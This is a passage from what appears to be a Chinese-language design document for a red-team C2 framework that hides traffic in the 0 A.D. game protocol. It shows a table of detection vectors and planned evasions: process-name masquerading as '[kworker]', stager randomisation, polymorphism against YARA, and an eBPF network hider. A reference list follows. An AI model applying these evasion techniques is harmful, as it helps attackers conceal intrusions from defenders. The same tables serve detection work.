(稳定,协议定义) | | NMT_CHAT Sender 长度 > 36 | 高 (base62 总是比 UUID 长) | ### 红队的缓解措施 | 检测向量 | 当前缓解措施 | 未来缓解措施 | |---------------------|---------------------|-------------------| | Sender 长度 > 36 | 无 | 将主体分片至 N 个数据包 | | 首字符为 'g'-'n' | 无 (方案固有问题) | 在其他字段中编码 | | memfd 名称 `[kworker]` | stager.c 中固定 | 每次构建 stager 时随机化 | | YARA 针对 .text opcodes | 无 | LLVM 多态性 pass | | 20595 端口非 0AD | eBPF network hider (需要 root) | — | ## 15. 参考 - 0 A.D. 网络源码 : `https://trac.wildfiregames.com/browser/ps/trunk/source/network/` - ENet 协议 : `http://enet.bespin.org/` - libsodium : `https://doc.libsodium.org/` - X25519 Diffie-Hellman : RFC 7748 - XSalsa20-Poly1305 (`crypto_secretbox_easy`) : NaCl/libsodium 文档 - io_uring : `https://kernel.dk/io_uring.pdf` (Jens Axboe, 2019) - eBPF CO-RE : `https://nakryiko.com/posts/bpf-core-reference-guide/` - JA3 fingerprinting : `https://github.com/salesforce/ja3` - JARM : `https://github.com/salesforce/jarm`
标签:C2框架, DNS 反向解析, IP 地址批量处理, 安全学习资源, 流量伪装, 网络信息收集, 网络隐匿, 逆向工具